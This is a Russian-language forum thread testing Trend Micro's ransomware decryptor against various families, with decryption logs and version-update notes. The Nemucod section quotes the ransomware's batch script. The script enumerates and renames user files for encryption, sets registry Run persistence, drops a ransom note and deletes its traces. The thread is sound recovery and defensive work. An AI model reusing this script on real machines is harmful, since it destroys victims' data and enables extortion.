дешифраторы от Trend Micro/Ransomware File Decryptor
Supported Ransomware Families:
The following list describes the known ransomware-encrypted files types can be handled by the latest version of the tool.
Ransomware File name and extension
CryptXXX V1, V2, V3* {original file name}.crypt, crypz, or 5 hexadecimal characters
TeslaCrypt V1** {original file name}.ECC
TeslaCrypt V2** {original file name}.VVV, CCC, ZZZ, AAA, ABC, XYZ
TeslaCrypt V3 {original file name}.XXX or TTT or MP3 or MICRO
TeslaCrypt V4 File name and extension are unchanged
SNSLocker {Original file name}.RSNSLocked
AutoLocky {Original file name}.locky
BadBlock {Original file name}
777 {Original file name}.777
XORIST {Original file name}.xorist or random extension
XORBAT {Original file name}.crypted
CERBER {Original file name}.cerber
http://esupport.trendmicro.com/solution/en-us/1114221.aspx
1. CryptXX {original file name}.crypt расшифрован по паре чистый-зашифрованный файл, довольно быстрая расшифровка.
2. Teslacrypt V1, V2 / дешифратор просто никакой, ощущение что сделали для галочки.
3. TeslaCrypt v3, v4 расшифровывается успешно. (по известному мастер-ключу)
4. Badblock не получилось расшифровать;
5. xorist /.xorist or random extension/ успешно расшифрован по паре чистый-зашифрованный файл.... уже хорошо. Время вычисление ключа приемлемое, однако ЦП загружает под 100%
6. XORBAT {Original file name}.crypted ...это скорее всего Nemucod: да, отличная здесь расшифровка!
This ransomware is currently a part of the Nemucod TrojanDownloader and is spread through javascript (.JS) attachments sent via email. The interesting part of this ransomware implementation is that the encryption steps are broken up between two different programs. The Javascript installers generates the various command and batch files, which use a downloaded files to perform the actual encryptions.
When the user opens the JS attachment, the javascript will download and save a ransomware executable to %TEMP%\5021052.exe. This executable, though, is not launched yet. Then the script creates and launches a CMD script that contains the commands that will be used to scan for targeted files and encrypt them.
This CMD script will search for files that contain certain file extensions and when it discoverers a targeted file, will rename it to have the .CRYPTED extension, and then launches the %TEMP%\5021052.exe with the file as an argument. The 5021052.exe executable will then encrypt the first 2048 bytes of the file using XOR encryption.
пример скрипта:
dir /B "C:\" && for /r "C:\" %%i in (*.zip *.rar *.7z *.tar *.gz *.xls *.xlsx *.doc *.docx *.pdf *.rtf *.ppt *.pptx *.sxi *.odm *.odt *.mpp *.ssh *.pub *.gpg *.pgp *.kdb *.kdbx *.als *.aup *.cpr *.npr *.cpp *.bas *.asm *.cs *.php *.pas *.vb *.vcproj *.vbproj *.mdb *.accdb *.mdf *.odb *.wdb *.csv *.tsv *.psd *.eps *.cdr *.cpt *.indd *.dwg *.max *.skp *.scad *.cad *.3ds *.blend *.lwo *.lws *.mb *.slddrw *.sldasm *.sldprt *.u3d *.jpg *.tiff *.tif *.raw *.avi *.mpg *.mp4 *.m4v *.mpeg *.mpe *.wmf *.wmv *.veg *.vdi *.vmdk *.vhd *.dsk) do (REN "%%i" "%%~nxi.crypted" & call C:\DOCUME~1\user\LOCALS~1\Temp\323476.exe "%%i.crypted") ... REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\DOCUME~1\user\LOCALS~1\Temp\323476.txt" REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted" REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\DOCUME~1\user\LOCALS~1\Temp\323476.txt\"" copy /y "C:\DOCUME~1\user\LOCALS~1\Temp\323476.txt" "%AppData%\Desktop\DECRYPT.txt" copy /y "C:\DOCUME~1\user\LOCALS~1\Temp\323476.txt" "%UserProfile%\Desktop\DECRYPT.txt" copy /y "C:\DOCUME~1\user\LOCALS~1\Temp\323476.txt" "C:\DOCUME~1\user\LOCALS~1\Temp\323476.exe" del "C:\DOCUME~1\user\LOCALS~1\Temp\323476.exe" del "C:\DOCUME~1\user\LOCALS~1\Temp\323476.cmd" & notepad.exe "C:\DOCUME~1\user\LOCALS~1\Temp\323476.txt"
по Nemucod утилита от F.Wosar мгновенно вычисляет ключ
проверяем расшифровку: работает.
Decryption key found
The decrypter detected the following key to be a match for the given file:
ZWQxZTY5MjgyZDJhNGM4NWQ4YjBmOTEwNTA1YzNjYTZBVEgzWkd0a0F6UjBBd1JrQTJaalpHSXhabUhsTVRSbU1UTDVCR3gyTVFPUEUwNGxEeHExckgxWEZLeUFxMDE2REhjUlowa1hFS0lPb0tPZ0RLY1JaU2JsSTN1bnEzRGtKeGNLRzBIa0RHRVJySElKREh1R0F4SVlxSjVTWlF4bEZhcUtIejlGSDFJakhJQUNwYXlPWnhjNEwwZ2tGU3F
Please keep in mind that there is a slight chance that this key might be wrong. We suggest trying decrypting a few files first to check whether it is working correctly.
ОК
Encrypted file: E:\decrypt\DATA\nemucod\1\Правила поведения вахтеров.jpg.crypted
Decrypted file: E:\decrypt\DATA\nemucod\1\Правила поведения вахтеров.jpg
Status: Successfully decrypted!
Encrypted file: E:\decrypt\DATA\nemucod\1\15092014 16_55_03.xls.crypted
Decrypted file: E:\decrypt\DATA\nemucod\1\15092014 16_55_03.xls
Status: Successfully decrypted!
Encrypted file: E:\decrypt\DATA\nemucod\1\keygpg.rar.crypted
Decrypted file: E:\decrypt\DATA\nemucod\1\keygpg.rar
Status: Successfully decrypted!
Encrypted file: E:\decrypt\DATA\nemucod\1\акт.pdf.crypted
Decrypted file: E:\decrypt\DATA\nemucod\1\акт.pdf
Status: Successfully decrypted!
Finished!
Мы ищем точки опоры не с целью перевернуть мир, но чтобы не позволить миру опрокинуть нас.
Тэги темы:
Войдите или Зарегистрируйтесь чтобы комментировать.
Комментарии
Supported Ransomware Families
The following list describes the known ransomware-encrypted files types can be handled by the latest version of the tool.
http://esupport.trendmicro.com/solution/en-us/1114221.aspx
http://esupport.trendmicro.com/solution/en-us/1114221.aspx
http://esupport.trendmicro.com/solution/en-us/1114221.aspx
добавлена расшифровка по Chimera, видимо за счет ключей, предоставленных разработчиками Petya&Misha.
https://success.trendmicro.com/solution/1114221
расшифровка по Lechiffre видимо работает только если утилита запускается в зашифрованной системе
https://success.trendmicro.com/solution/1114221
https://success.trendmicro.com/solution/1114221
https://success.trendmicro.com/solution/1114221
(как и предполагал, добавили расшифровку CrySiS)
https://success.trendmicro.com/solution/1114221
https://success.trendmicro.com/solution/1114221
новых шифраторов в списке Trend Micro Ransomware File Decryptor v 1.0.1657 нет.
Возможно, улучшена расшифровка по ранее добавленным в список шифраторов.
https://success.trendmicro.com/solution/1114221
добавлена расшифровка Crysis.dharma
https://success.trendmicro.com/solution/1114221
Updated: 21 May 2017 ver 1.0.1663
https://success.trendmicro.com/solution/1114221
таки расшифровки нет.
Updated: 31 May 2017 er 1.0.1664
https://success.trendmicro.com/solution/1114221
Updated: 26 Jul 2017
https://success.trendmicro.com/solution/1114221